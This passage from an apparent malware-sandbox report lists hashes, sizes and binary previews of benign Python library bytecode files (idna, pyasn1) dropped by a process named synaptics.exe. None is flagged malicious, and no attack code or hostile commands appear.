Preview:	o.......>..f.7.......................@...s.]..d.Z.d.d.d.d.d.d...Z.i.d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...i.d.d...d.d...d.d...d.d...d.d...d.d...d.d...d d...d!d...d"d...d#d...d$d...d%d...d&d...d'd...d(d...d)d.....i.d*d...d+d...d,d...d-d...d.d...d/d...d0d...d1d...d2d...d3d...d4d...d5d...d6d...d7d...d8d...d9d...d:d.....i.d;d...d<d...d=d...d>d...d?d...d@d...dAd...dBd...dCd...dDd...dEd...dFd...dGd...dHd...dId...dJd...dKd.....i.dLd...dMd...dNd...dOd...dPd...dQd...dRd...dSd...dTd...dUd...dVd...dWd...dXd...dYd...dZd...d[d...d\d.....i.d]d...d^d...d_d...d`d...dad...dbd...dcd...ddd...ded...dfd...dgd...dhd...did...djd...dkd...dld...dmd.....i.dnd...dod...dpd...dqd...drd...dsd...dtd...dud...dvd...dwd...dxd...dyd...dzd...d{d...d\|d...d}d...d~d.....i.d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d.....i.d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.

C:\Users\Public\QExvbmVOb25l\lib\site-packages\idna\pycache\intranges.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	1952
Entropy (8bit):	5.309293995361254
Encrypted:	false
SSDEEP:	48:DrDo6itCRy/ORh72cN+Rl/99X7iEvR9Bn:Drc7kR2cNC/9t7jvN
MD5:	744C0DC26990A3C0EEE1ECD63613FB60
SHA1:	CBF5329BCA22BB910EADC76C6ED058AFC78B55FB
SHA-256:	2F48183F56A5C5A0BE8B9402EB6423E910F4BD42C85EC9D6745BA8226749D6BF
SHA-512:	B704FCE6B2458878550EFC01209963D737F16FB3AEF6D8453094CA3968B66E75E5616C07592C5879AA9224F143CA60024C942FC41C3BF26CCDECE9928AA9BE30
Malicious:	false
Reputation:	low
Preview:	o.......>..fj........................@...s....d.Z.d.d.l.Z.d.d.l.m.Z.m.Z...d.e.e...d.e.e.d.f...f.d.d...Z.d.e.d.e.d.e.f.d.d...Z.d.e.d.e.e.e.f...f.d.d...Z.d.e.d.e.e.d.f...d.e.f.d.d...Z.d.S.).a.....Given a list of integers, made up of (hopefully) a small number of long runs.of consecutive integers, compute a representation of the form.((start1, end1), (start2, end2) ...). Then answer the question "was x present.in the original list?" in time O(log(# runs)).......N)...List..Tuple..list_..return.c....................C...s....t.\|...}.g.}.d.}.t.t.\|.....D.]1}.\|.d...t.\|...k.r%\|.\|...\|.\|.d.....d...k.r%q.\|.\|.d...\|.d.......}.\|...t.\|.d...\|.d...d.........\|.}.q.t.\|...S.).a....Represent a list of integers as a sequence of ranges:. ((start_0, end_0), (start_1, end_1), ...), such that the original. integers are exactly those x such that start_i <= x < end_i for some i... Ranges are encoded as single integers (start << 32 \| end), not as tuples.. ..........r....)...sorted..range..len..append.._e

C:\Users\Public\QExvbmVOb25l\lib\site-packages\idna\pycache\package_data.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	4.861282357369582
Encrypted:	false
SSDEEP:	3:y/BAauletxbkCoeJ/Lt/lPlXaHF50YTlHX0M9VWrzSBw5JOmIOt2TgN:y/rqetGCow53aHxEM9ArmBw5Ampt2s
MD5:	C9249CAD98D4B69C0B01BAF12AADB91B
SHA1:	57EC9C5ED69FE0C0E06E5C32F95F701EED00DE72
SHA-256:	A2FCFE4DF00031E1952B78F20ACD38FD58011922F0C5914287A02EF28D20A45D
SHA-512:	019952CF71BA8AEF14E254F97F22D7CAB87B5AEA4FB733EC32124A6AA3E4CAD118EF3D2AAF9118CBA4E6A343C1673ED87F6D01AE2CD9898EBC1FE087A019F3F4
Malicious:	false
Reputation:	low
Preview:	o.......>..f.........................@...s....d.Z.d.S.).z.3.9N)...__version__..r....r.....CC:\Users\Public\QExvbmVOb25l\lib\site-packages\idna\package_data.py..<module>....s......

C:\Users\Public\QExvbmVOb25l\lib\site-packages\pyasn1\pycache\init.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	4.915419392027585
Encrypted:	false
SSDEEP:	3:y/re7lauletxbkCoJ1tt/lPlmuaHF50YTlHX0M9VWrzL1dM4LkcTgM:y/S78qetGCoJ1rGuaHxEM9Ardnt
MD5:	5C3E8841E32AF41E172E94DD3155AC5E
SHA1:	EC0A28F64DCD33C1DE34A1C3E998C75AA7611F72
SHA-256:	16318E2F44C421B7BA38766D880A4B32CB6ADB5FC7076A87A55302FC26EA86B8
SHA-512:	C0DDF6E75B2D7B60DFFCA83C21B410C2CCE42986CD59F3CB8398D73B3BCDBD07FF3F8499F010921D2FD4FA6AB9236B3F08898A4F9EBB07BCEC40ABDBE9F2D0C6
Malicious:	false
Reputation:	low
Preview:	o.......T..fB........................@...s....d.Z.d.S.).z.0.6.1N)...__version__..r....r.....AC:\Users\Public\QExvbmVOb25l\lib\site-packages\pyasn1\__init__.py..<module>....s......

C:\Users\Public\QExvbmVOb25l\lib\site-packages\pyasn1\pycache\debug.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	4123
Entropy (8bit):	4.996515302319786
Encrypted:	false
SSDEEP:	96:if//QELK0E+xQk5QMwJ9v9YitXwqiOEsRuUOGnBiw:ifm0XQ1MwzOOFRTBp
MD5:	3DBA8224670CCC04457E0A2B25A8EF1A
SHA1:	5AA7A1ACDE99C672ED4A4DED0FC2AC7740C0BBB2
SHA-256:	0D3588F04690BCE574A4F78FD7DFFB7DA21EC92DA0E9D648A5CDF4EDDC115131
SHA-512:	105A789B93C5EA647D914609F2A4BB561B99D71D325AFD948E2E768126FA74FD593E3C8E9B4E0AA2644B826F9CE6C1B0847239F420D8B3137433F0824BC3F7E1
Malicious:	false
Reputation:	low
Preview:	o.......T..f.........................@...s....d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...g.d...Z.d.Z.d.Z.d.Z.d.Z.e.e.e.e.d...Z.i.Z.G.d.d...d.e...Z.G.d.d...d.e...Z.e.a.d.d...Z.d.e.f.d.d...Z.d.d...Z.G.d.d...d.e...Z.e...Z.d.S.)......N)...__version__)...error)...Debug..setLogger..hexdump..........i....)...none..encoder..decoder..allc....................@...s&...e.Z.d.Z.d.d.d...Z.d.d...Z.d.d...Z.d.S.)...PrinterNc....................C...sj...\|.d.u.r.t...d...}.\|...t.j.....\|.d.u.r.t.....}.\|.d.u.r t...d...}.\|...\|.....\|...t.j.....\|...\|.....\|.\|._.d.S.).N..pyasn1z!%(asctime)s %(name)s: %(message)s)...logging..getLogger..setLevel..DEBUG..StreamHandler..Formatter..setFormatter..addHandler.._Printer__logger)...self..logger..handler..formatter..r.....>C:\Users\Public\QExvbmVOb25l\lib\site-packages\pyasn1\debug.py..__init__ ...s..........................z.Printer.__init__c....................C........\|.j...\|.....d.S...N).r......debug..r......msgr....r....r......__call__2..........z.Printer.__call__c......

C:\Users\Public\QExvbmVOb25l\lib\site-packages\pyasn1\pycache\error.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	4092
Entropy (8bit):	4.987517156615224
Encrypted:	false
SSDEEP:	96:Qce+V9bNxz9XBMXG8oD78Or+3rDWXId4d32NxjbiuipJ:IqZP9GWKOr+3eId632TjbriH
MD5:	8C54B066F7AC0D6E2D30C330E8F566F3
SHA1:	94E0598F6E4A35D4AD22D14C71011FED3A93B1EB
SHA-256:	D8529D263C9FF48975298D4CB436DD55E5A034FB7D4787BFFA95BEA9F9ECA362
SHA-512:	ABAEA21E6FE499342E39E7A33FD67B9509ADD56B52100141DD0C7F38B268DCB09E0758BF8553FC783DDBA4675EFBB394D164D9068E3A3BE51844FFBC50E14559
Malicious:	false
Reputation:	low
Preview:	o.......T..f.........................@...s....G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e.e...Z.G.d.d...d.e.e...Z.G.d.d...d.e.e...Z.d.S.).c....................@...s$...e.Z.d.Z.d.Z.d.d...Z.e.d.d.....Z.d.S.)...PyAsn1ErroraB...Base pyasn1 exception.. `PyAsn1Error` is the base exception class (based on. :class:`Exception`) that represents all possible ASN.1 related. errors... Parameters. ----------. args:. Opaque positional parameters.. Keyword Args. ------------. kwargs:. Opaque keyword parameters.. c....................O...s....\|.\|._.\|.\|._.d.S...N)..._args.._kwargs)...self..args..kwargs..r.....>C:\Users\Public\QExvbmVOb25l\lib\site-packages\pyasn1\error.py..__init__....s........z.PyAsn1Error.__init__c....................C...s....\|.j...d.i...S.).a7...Return exception context.. When exception object is created, the caller can supply some opaque. context for the upper layers to better u

C:\Users\Public\QExvbmVOb25l\lib\site-packages\pyasn1\codec\pycache\init.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	164
Entropy (8bit):	4.646004548174159
Encrypted:	false
SSDEEP:	3:y/reLuleh/wZWeiouWDaHF50YTlHX0M9VWrzL1A67kcTgp:y/SLqeh/wxZDaHxEM9ArdA6x4
MD5:	D66824B5940B2919BF22AAF9835EF8E1
SHA1:	83039C2051016B395DF9D065AEAF6D898DBA3E76
SHA-256:	FD396D8A89D4A474447205C948C1A2C432A8532122B8579E60376824A73BC860
SHA-512:	51FDEA39CA3847B572782A1F1978FFA7B4A44DBC636CBE31666EC15CBB4CDD4014A6E20CC58AA749805FB1087A32B05D85E9120CA1B1502AB31BE3D2E71F5C61
Malicious:	false
Reputation:	low
Preview:	o.......T..f;........................@...s....d.S.).N..r....r....r.....GC:\Users\Public\QExvbmVOb25l\lib\site-packages\pyasn1\codec\__init__.py..<module>....s......

C:\Users\Public\QExvbmVOb25l\lib\site-packages\pyasn1\codec\pycache\streaming.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	5825
Entropy (8bit):	5.2823731361709525
Encrypted:	false
SSDEEP:	96:N+ZlQBEsXLKBLEQ8yjdQBblCEdS1azu5VZ6qMwxqNo+dTqVSM5LleeVOpRfYyU6W:IxrZ+jCr1azunZNMLoeTsH5LlL6RfYTv
MD5:	6EC024F438F1ECC63BA35DEDF0BADF99
SHA1:	3F53FA8BAF5B44F90865850DE800F1A226CC2576
SHA-256:	0F80FEA6E328EF679A7600C03332D0AE88A7A52297537E0F2C35E1AD342DDB3F
SHA-512:	E922DBBFB9A5A517AD13975BFAC72F5C26E8CB5F5E8C2BAC48E202A89ADBE64EAE237B415610BC52C50AD7E23CB18DC047DB425BA712033F50C98866E7FA92D3
Malicious:	false
Reputation:	low
Preview:	o.......T..f.........................@...sb...d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...G.d.d...d.e.j...Z.d.d...Z.d.d...Z.d.d.d...Z.d.d.d...Z.d.S.)......N)...error)...univc....................@...sd...e.Z.d.Z.d.Z.d.d...Z.d.d...Z.d.d...Z.d.e.j.f.d.d...Z.d.d.d...Z.e.d.d.....Z.e.j.d.d.....Z.d.d...Z.d.S.)...CachingStreamWrappera....Wrapper around non-seekable streams... Note that the implementation is tied to the decoder,. not checking for dangerous arguments for the sake. of performance... The read bytes are kept in an internal cache until. setting _markedPosition which may reset the cache.. c....................C...s....\|.\|._.t.....\|._.d.\|._.d.S...Nr....)..._raw..io..BytesIO.._cache.._markedPosition)...self..raw..r.....HC:\Users\Public\QExvbmVOb25l\lib\site-packages\pyasn1\codec\streaming.py..__init__....s..........z.CachingStreamWrapper.__init__c....................C...s$...\|...\|...}.\|.j...t.\|.....t.j.....\|.S...N)...readr......seek..len..os..SEEK_CUR).r......n..resultr..

C:\Users\Public\QExvbmVOb25l\lib\site-packages\pyasn1\codec\ber\pycache\init.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	168
Entropy (8bit):	4.65218335522788
Encrypted:	false
SSDEEP:	3:y/reLuleh/wZWeuk8uaHF50YTlHX0M9VWrzL19AXkcTgp:y/SLqeh/wj8uaHxEM9Ardm4
MD5:	23D7B2D4657E949DBFDAAB4F78B5AD9A
SHA1:	7442A44507AC9CF625309D26D45E7AF912B07F5F
SHA-256:	60569E114083540946FE945B87A2DB469E0E1491D4544FB5F14D5DFEBCB3FA18
SHA-512:	ED96A95817404C76DE3219F97BCE8643FF81523421C558A635EF3BDDD1C3FFA45725F660D9B3E78B7B45321AE4512099CBCF849E2B0EE2B2C444AC7086E7C11D
Malicious:	false
Reputation:	low
Preview:	o.......T..f;........................@...s....d.S.).N..r....r....r.....KC:\Users\Public\QExvbmVOb25l\lib\site-packages\pyasn1\codec\ber\__init__.py..<module>....s......

C:\Users\Public\QExvbmVOb25l\lib\site-packages\pyasn1\codec\ber\pycache\decoder.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	42166
Entropy (8bit):	5.649115044518659
Encrypted:	false
SSDEEP:	768:nWU8A/SzSYCTAE7rMi7Oj7KRXjT0DZESJDv/yY7cwel7+gkVy0/lpPUno7wwzY:nWRAqzSSEciqj7KRXjs7f+7MpKt
MD5:	EBFFCAA20C21A7C860CABAD2F2C9CB3F
SHA1:	F71C4A2F80C467EEF7D261854C11C9B09D914934
SHA-256:	C8DDDDCBE5CE1DA5D06D02CB73C23E3F31FC745D4CE602C1AF63555F6DE67872
SHA-512:	698E89AA70732FC23001FD7AE66AD0A62456845C18E415F443265E03AA1B04CF3795D55F5027F3257492CC8EAD486D08F965B8EAD3B93AA639A37A08532772F4
Malicious:	false
Reputation:	low
Preview:	o.......T..fX5.......................@...sT...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...g.d...Z.e.j.e.e.j.d...Z.e.j.Z.e.j.Z.G.d.d...d.e ..Z!G.d.d...d.e!..Z"G.d.d...d.e"..Z#e#..Z$G.d.d...d.e"..Z%G.d.d...d.e%..Z&G.d.d...d.e"..Z'G.d.d ..d e"..Z(G.d!d"..d"e"..Z)G.d#d$..d$e"..ZG.d%d&..d&e"..Z+G.d'd(..d(e"..Z,G.d)d..de!..Z-G.d+d,..d,e-..Z.G.d-d...d.e...Z/G.d/d0..d0e/..Z0G.d1d2..d2e/..Z1G.d3d4..d4e...Z2G.d5d6..d6e2..Z3G.d7d8..d8e2..Z4G.d9d:..d:e...Z5G.d;d<..d<e"..Z6G.d=d>..d>e(..Z7G.d?d@..d@e(..Z8G.dAdB..dBe(..Z9G.dCdD..dDe(..Z:G.dEdF..dFe(..Z;G.dGdH..dHe(..Z<G.dIdJ..dJe(..Z=G.dKdL..dLe(..Z>G.dMdN..dNe(..Z?G.dOdP..dPe(..Z@G.dQdR..dRe(..ZAG.dSdT..dTe(..ZBG.dUdV..dVe(..ZCG.dWdX..dXe(..ZDi.e.jEjFe%....e.jGjFe&....e.jHjFe'....e.jIjFe(....e.jJjFe)....e.jKjFe....e.jLjFe+....e.jMjFe%....e.jNjFe,....e.jOjFe/....e.jPjFe2....e.jQjF

C:\Users\Public\QExvbmVOb25l\lib\site-packages\pyasn1\codec\ber\pycache\eoo.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	779
Entropy (8bit):	5.1207754278285575
Encrypted:	false
SSDEEP:	24:ZMN0EngkvZJW64GBJoszRD3QWqSoFB6GU:ZinVQ63oPw
MD5:	C92A5F4D5AF8BEBAA3CF079A08C9AF50
SHA1:	3037A859271FFE4FC3E25EB10C58443BD46EC431
SHA-256:	249C13C8C8721E8C8AA18E8958198A2CA60B291853D54B9415CCB83C87607076
SHA-512:	9DF63E12222365BFDAD40C0097B44B58F6675A0AA3D7334CA58A775EEDA96E1F1FF8B0ECDDA8363449E100C0F3C387FC8AA5F186BE81015829C72BBEC2B7D18F
Malicious:	false
Reputation:	low
Preview:	o.......T..f.........................@...s:...d.d.l.m.Z...d.d.l.m.Z...d.g.Z.G.d.d...d.e.j...Z.e...Z.d.S.)......)...base)...tag..endOfOctetsc....................@...s4...e.Z.d.Z.d.Z.e...e...e.j.e.j.d.....Z.d.Z.d.d...Z.d.S.)...EndOfOctetsr....Nc....................O...s*...\|.j.d.u.r.t.j.\|.g.\|...R.i.\|.....\|._.\|.j.S.).N)..._instance..object..__new__)...cls..args..kwargs..r.....FC:\Users\Public\QExvbmVOb25l\lib\site-packages\pyasn1\codec\ber\eoo.pyr........s..........z.EndOfOctets.__new__)...__name__..__module__..__qualname__Z.defaultValuer......initTagSet..Tag..tagClassUniversal..tagFormatSimple..tagSetr....r....r....r....r....r....r........s..................r....N)...pyasn1.typer....r......__all__..SimpleAsn1Typer....r....r....r....r....r......<module>....s..............

C:\Users\Public\QExvbmVOb25l\lib\site-packages\pyasn1\codec\cer\pycache\init.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	168
Entropy (8bit):	4.65218335522788
Encrypted:	false
SSDEEP:	3:y/reLuleh/wZWeuk8uaHF50YTlHX0M9VWrzL18ygOkcTgp:y/SLqeh/wj8uaHxEM9Ard8Nu4
MD5:	A99AF90C0644700CE6923403F8AB3984
SHA1:	32DA07E3FC76B8D7950913D9FFE2B8213DEE45EF
SHA-256:	F24BE1E563FCDCB1392135A361A9EA6B7DA18729B3FCE140BBBACBDDC08E4A9F
SHA-512:	3630EACF5868AC2933D18649D7D532F47BA98EE7A15F581BF3F7E47B8FE6E568D84DC6550F07029EFEE7A7121CD7B857F9806A40B0A8155486519DFFCEF4384F
Malicious:	false
Reputation:	low
Preview:	o.......T..f;........................@...s....d.S.).N..r....r....r.....KC:\Users\Public\QExvbmVOb25l\lib\site-packages\pyasn1\codec\cer\__init__.py..<module>....s......

C:\Users\Public\QExvbmVOb25l\lib\site-packages\pyasn1\codec\cer\pycache\decoder.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	2499
Entropy (8bit):	5.405801206407453
Encrypted:	false
SSDEEP:	48:wz8iXwFKzH/u19DflQ6ezclOVaJORi6Zy0punszpDVYRB:wz5XTfcf9EaJONNpunszp5K
MD5:	57A97917915DF3DBD5EB1DAF5829E01C
SHA1:	A05B9E4BBB0EA76CEF047C8E4B21CD5E14C4514E
SHA-256:	E83F5DE3A3F78A262289B5A2E56D33992B34A67D05E45BCD8DA78632492B0C1F
SHA-512:	D392AA31C4AA51C8759D2FC20FF73A2F7BB4CE9DF507DB8DA04D5A02D6DD2C79D5163AC61A9376B92C4DA8F17075C9D07F96331CF8D1B7EF1CE09387D7850D44
Malicious:	false
Reputation:	low
Preview:	o.......T..f.........................@...s8...d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.g.Z.e.j.Z.G.d.d...d.e.j...Z.e.j.Z.e.j.Z.e.j.Z.e.j.....Z.e...e.j.j.e...e.j.j.e...e.j.j.e...e.j.j.e...i.....e.j.....Z.e.....D.].Z.e.j.d.u.rte.j.j.j.Z.e.d.u.rte.e.v.rte.e.e.<.q\G.d.d...d.e.j...Z.G.d.d...d.e.j...Z.G.d.d...d.e.j ..Z e ..Z!d.e"f.d.d...Z#d.S.)......N)...error)...readFromStream)...decoder)...univ..decode..StreamingDecoderc....................@...s$...e.Z.d.Z.e...d...Z.....d.d.d...Z.d.S.)...BooleanPayloadDecoderr....Nc....................k...s......\|.d.k.r.t...d.....t.\|.\|.\|...D.].}.t.\|.t...r.\|.V...q.\|.d...}.\|.d.k.r&d.}.n.\|.d.k.r-d.}.n.t...d.\|.......\|.j.\|.\|.\|.f.i.\|.....V...d.S.).N.....z Not single-octet Boolean payloadr.........z.Unexpected Boolean payload: %s).r....Z.PyAsn1Errorr......isinstance..SubstrateUnderrunErrorZ._createComponent)...selfZ.substrateZ.asn1Spec..tagSet..length..stateZ.decodeFunZ.substrateFun..options..chunk..byte..value..r.....JC:\Users\Public\QExvbmVOb

C:\Users\Public\QExvbmVOb25l\lib\site-packages\pyasn1\codec\der\pycache\init.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	168
Entropy (8bit):	4.654353164612405
Encrypted:	false
SSDEEP:	3:y/reLuleh/wZWeuk8uaHF50YTlHX0M9VWrzL17BOkcTgp:y/SLqeh/wj8uaHxEM9Ard04
MD5:	B6C31C5C9B42096379B8817E8AD5D0ED
SHA1:	5463F96D890AB86E73696210B6FC6C68C2418F85
SHA-256:	BA14878859BF34D0DB35E06992304881A898999B99FB17A59849093327DDAC7C
SHA-512:	88B7D5A4580C94455187882F772D346FCB2F5D557CDADC8E866CF37B5DD7D81FC6AB5F9ED895FE77ACB779903BC74ED1FADB9A3AA1A38BA28712838F988DCA3A
Malicious:	false
Reputation:	low
Preview:	o.......T..f;........................@...s....d.S.).N..r....r....r.....KC:\Users\Public\QExvbmVOb25l\lib\site-packages\pyasn1\codec\der\__init__.py..<module>....s......

C:\Users\Public\QExvbmVOb25l\lib\site-packages\pyasn1\codec\der\pycache\decoder.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	1866
Entropy (8bit):	5.140358017692469
Encrypted:	false
SSDEEP:	24:EjM1Beausa5bi6PPeLrNLPKcDP4h8bM8rc6826aFQc6ZLCJckPyhvc4J4XQCBf:TNkiuPWzHDwmPrS216ZOcBzAn1
MD5:	80AA2BF4E2491C1C5ADA22E508F5842F
SHA1:	D55EBB4021C0766A2EB265A23189718F4B646DAC
SHA-256:	A9E00CC8DD8E39C53C77144E49C77C55D3DD2E394D7F35046B49EC9089688E56
SHA-512:	68BB6CC55D8493DFA0DD0780179B13D9F49F4393254E753B93FA0B1696BC9A5FF1BB6874CE10A10C2FBFE1F6DE605A1189172C41DECB3817EBC51760D3F40835
Malicious:	false
Reputation:	low
Preview:	o.......T..fd........................@...s....d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.g.Z.G.d.d...d.e.j...Z.G.d.d...d.e.j...Z.e.j.Z.e.j.....Z.e...e.j.j.e...e.j.j.e...e.j.j.e...i.....e.j.....Z.e.....D.].Z.e.j.d.u.rce.j.j.j.Z.e.d.u.rce.e.v.rce.e.e.<.qKG.d.d...d.e.j...Z.G.d.d...d.e.j...Z.G.d.d...d.e.j...Z.e...Z.d.e.f.d.d...Z.d.S.)......N)...decoder)...univ..decode..StreamingDecoderc....................@........e.Z.d.Z.d.Z.d.S.)...BitStringPayloadDecoderFN....__name__..__module__..__qualname__Z.supportConstructedForm..r....r.....JC:\Users\Public\QExvbmVOb25l\lib\site-packages\pyasn1\codec\der\decoder.pyr.................r....c....................@...r....)...OctetStringPayloadDecoderFNr....r....r....r....r....r........r....r....c....................@...s ...e.Z.d.Z.e.j.j.Z.e.Z.e.Z.d.Z.d.S.)...SingleItemDecoderFN).r....r....r....r....r......__doc__..TAG_MAP..TYPE_MAPZ.supportIndefLengthr....r....r....r....r....+...s..............r....c....................@........e.Z.d.Z.e.j.j.Z.e.Z.d.S.).r....

C:\Users\Public\QExvbmVOb25l\lib\site-packages\pyasn1\compat\pycache\init.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	186
Entropy (8bit):	4.970663360964073
Encrypted:	false
SSDEEP:	3:y/reJl/Gtulev/Lgl2jrEsnlllPlXOaHF50YTlHX0M9VWrzL1aD67kcTgk:y/SJ0tqev/Ulcrfll+aHxEM9ArdaDuR
MD5:	58B38109F770E4A2F9035A0F7D2B7167
SHA1:	DA8CDA71724835F986910C5C5CBD659964BECD57
SHA-256:	200AB7F0E98BAA0DFD3C42BD6E036C4D33606B924B3EAA42DB5BDCDAAC90832B
SHA-512:	A9D0E911663D40E4A737ED894EF338B93B4F6F2A9D2E92B91FAE2AFBD1E512DC4F49B7588D98215FC974942EAC65C9C326B52059F3D8A144446610D187DACCD5
Malicious:	false
Reputation:	low
Preview:	o.......T..fp........................@...s....e...Z.d.S.).N)...objectZ._MISSING..r....r.....HC:\Users\Public\QExvbmVOb25l\lib\site-packages\pyasn1\compat\__init__.py..<module>....s......

C:\Users\Public\QExvbmVOb25l\lib\site-packages\pyasn1\compat\pycache\integer.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	420
Entropy (8bit):	4.947712956733462
Encrypted:	false
SSDEEP:	6:y/SD//rCo/10MIPLsXSjAfNs//w0UuDPLyYpKX69ZDaHxEM9Arda1lA0ikdX+mqf:CUrC664jlsSuD2TMYlJ1lA0ikdOZqqJ
MD5:	BE89AC399E10C3914A3720F906BBB003
SHA1:	604D35967A4816B5205312D4DBB8BAFD9B583BC4
SHA-256:	8898F245DECC62561D0966BE50E7E94543B9C527E8FE4D6BF2AFB82EB552339B
SHA-512:	32728530EFDBF39DE52F8293FA86F64D686A57EE2A23352CF4AF377EB15DD3DF744CD21DF95857D26DCE9CFC626C7A01C617C730E32B7067B0ED0D6A9F9E6406
Malicious:	false
Reputation:	low
Preview:	o.......T..f.........................@...s....d.d.d...Z.d.S.).F.....c....................C...sJ...t.\|.....\|...}.\|.r.\|.d...d.k.r.\|.d.7.}.\|.j.\|.d...\|.d...r.d.p.d...d.\|.d...S.).N.....r...........big)...signed)...max..bit_length..to_bytes)...valuer......length..r.....GC:\Users\Public\QExvbmVOb25l\lib\site-packages\pyasn1\compat\integer.pyr........s..........$.r....N).Fr....).r....r....r....r....r......<module>....s......

C:\Users\Public\QExvbmVOb25l\lib\site-packages\pyasn1\type\pycache\init.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	163
Entropy (8bit):	4.637446587638193
Encrypted:	false
SSDEEP:	3:y/reLuleh/wZWejIaHF50YTlHX0M9VWrzL1KLLikcTgp:y/SLqeh/wvIaHxEM9ArdKLLy4
MD5:	44C3B18690A5BD719D8007CFE20DDF90
SHA1:	BCE1A5B9B136B98D225E65E0AA509D6C7666DFA6
SHA-256:	8920B60F89538BAF8C574D95E149EC1A38F03CBFE2D8300EA8BCB4062ABD4C23
SHA-512:	9228977D67A3396EE293A713EF366BB67E600D5F521ADC56C10037EDA6486E9E29F200322087C38A74FFE8EFC43CAFF86D0C8B0F4EA7678543E7AC028DF8947D
Malicious:	false
Reputation:	low
Preview:	o.......T..f;........................@...s....d.S.).N..r....r....r.....FC:\Users\Public\QExvbmVOb25l\lib\site-packages\pyasn1\type\__init__.py..<module>....s......

C:\Users\Public\QExvbmVOb25l\lib\site-packages\pyasn1\type\pycache\base.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	21823
Entropy (8bit):	5.253889790517431
Encrypted:	false
SSDEEP:	384:Vd+3khvV7gSPy9VQYmqBB00ygdDUxWuKdwLyh+AgSbCiFFQQVXycnSF1MtXdtcVU:VMkhvV7gSPy9VQYmqBB00yg5UxWuKdwq
MD5:	E328EF9351C5900E9B75658DB554B63F
SHA1:	0420AB905976F0D21EB9A39D9C9D4FC468661E10
SHA-256:	EED2DC2B2592D9AECE81934DCDE8E9E6CB7D071A3A9F5F7672B0753F3F87A4ED
SHA-512:	701F2C300D736CB70A345C10D9875EA0CF1800C39C1289BEA0419206FA7AC6FDDC8FD7899A4F0048F96C1535F0B96AD54F9AB175D62634C0E31354411BC3493A
Malicious:	false
Reputation:	low
Preview:	o.......T..f"V.......................@...s....d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...g.d...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.e.Z.G.d.d...d.e...Z.e...Z.G.d.d...d.e...Z.e.Z.G.d.d...d.e...Z.e.Z.d.S.)......N)...error)...constraint)...tag)...tagmap)...Asn1Item..Asn1Type..SimpleAsn1Type..ConstructedAsn1Typec....................@...s....e.Z.d.Z.e.d.d.d.....Z.d.S.).r.........c....................C...s4...z.t...j.\|.7..._.W.t.j.S...t.y.......\|.t._.Y.t.j.S.w...N).r....Z._typeCounter..AttributeError)...cls..increment..r.....BC:\Users\Public\QExvbmVOb25l\lib\site-packages\pyasn1\type\base.py..getTypeId....s..................z.Asn1Item.getTypeIdN).r....)...__name__..__module__..__qualname__..classmethodr....r....r....r....r....r........s..........r....c....................@...s....e.Z.d.Z.d.Z.e.....Z.e.....Z.d.Z.d.d...Z